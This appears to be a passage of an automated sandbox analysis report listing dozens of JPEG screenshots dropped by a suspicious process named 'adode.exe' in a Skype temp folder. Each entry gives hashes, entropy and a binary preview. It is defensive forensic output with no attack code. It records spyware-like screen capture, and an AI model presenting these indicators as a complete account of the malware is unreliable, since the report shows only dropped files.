C:\Users\user\AppData\Roaming\Screenshots\time_20240703_222530.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240704_041837.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240704_094606.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144937
Entropy (8bit):	7.929009115243008
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfk7FmIKDcKxgqebw6J:WpgzOCtbRJPBBcFJ6TPjJ
MD5:	FC092E591C014C73E3AEC8877E677228
SHA1:	EFC9E431488C5FF678960A9057BE1BBD5DB77BE7
SHA-256:	DA815296E9F2850A3EC2E9945BDEBBB26637C0FDB742F843A0A81AC290F4F4D1
SHA-512:	DF2BAE83FD45EF6CD1FF2AAF6B7051A08FDE4211B61DB77F6520E7898419807709228FFFA6724FD1E835C35EAC293EF2C177C55F7E99066F7637DA5C1798B33B
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240706_195648.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144937
Entropy (8bit):	7.929009115243008
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfk7FmIKDcKxgqebw6J:WpgzOCtbRJPBBcFJ6TPjJ
MD5:	FC092E591C014C73E3AEC8877E677228
SHA1:	EFC9E431488C5FF678960A9057BE1BBD5DB77BE7
SHA-256:	DA815296E9F2850A3EC2E9945BDEBBB26637C0FDB742F843A0A81AC290F4F4D1
SHA-512:	DF2BAE83FD45EF6CD1FF2AAF6B7051A08FDE4211B61DB77F6520E7898419807709228FFFA6724FD1E835C35EAC293EF2C177C55F7E99066F7637DA5C1798B33B
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240707_011843.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	148834
Entropy (8bit):	7.929819536786837
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfk7FmIUFmvVzKxgqebw6J:WpgzOCtbRJPBBcFJ6UcJPjJ
MD5:	8B0E20ED55F1AB7ACEB7DB0042BC4695
SHA1:	B3EA203A083E9E0439981BB2AF2D299E0B2C705B
SHA-256:	2A3BA51ED040E063274858BDE20E1EFFC3C64C0DC013D90B859C181B57A4FD24
SHA-512:	B32383C3D4031B1976EC78D7D1BBA190F74627BDCFE5BDEB292FE5946E81CB5EE4790030A38A5BE784B8D8524EFAF24A86DAD6A6394CA25FE9F66617225314B1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240707_170216.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	147353
Entropy (8bit):	7.931998416632102
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mItuLRGC+jkf:WpgzOCtbRJPBBcFJRXtuLRGCokf
MD5:	59AA24D394B041A1AF5005296E6913C6
SHA1:	D985FF5F923537B9C6727D832F697E6A4E7900C0
SHA-256:	93C0C7EAD38CEC9C7BCB3EF3EC14FC9A75D8A8C8C55E58F263A626D769CD0DFD
SHA-512:	59B0A9E27E572B84453E4E81783414ADC5DA24F1586FFFF9007D368F2641FF62F703F4D751B6031F44C2CE141E469C62EDEE45BA0067191E3CDEA0E4A7052099
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240708_050909.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240708_104650.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240710_165241.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	150947
Entropy (8bit):	7.929465836926262
Encrypted:	false
SSDEEP:	3072:boOIWu2rXKoagRfrQgpgoN6kiTff2FxeYueea8FkcKxgqebw6J:JIQag9rw+6kGff2FxE9xPjJ
MD5:	8EBA403B49FF6F33EE9AEBE958DDAB02
SHA1:	81E82A28907054D2BCF5F3EBE81F8EE7D4A82B6A
SHA-256:	1616A61944F773825EF200DB83E67D4A3E1CF2E79832B8BFE1077B9E8FB46CB3
SHA-512:	E5B8A91A61FFC2CC916F40744EBB12062EFF22C55C7A7E86A0C44F4FC7D22210E15ED48618EFE6770455689676FFFB4BB97E7EA812008DBC182CD624889EB619
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240711_004649.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240711_064700.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240713_170553.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240713_224909.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240714_061759.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240714_121316.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240714_163540.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240714_212210.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
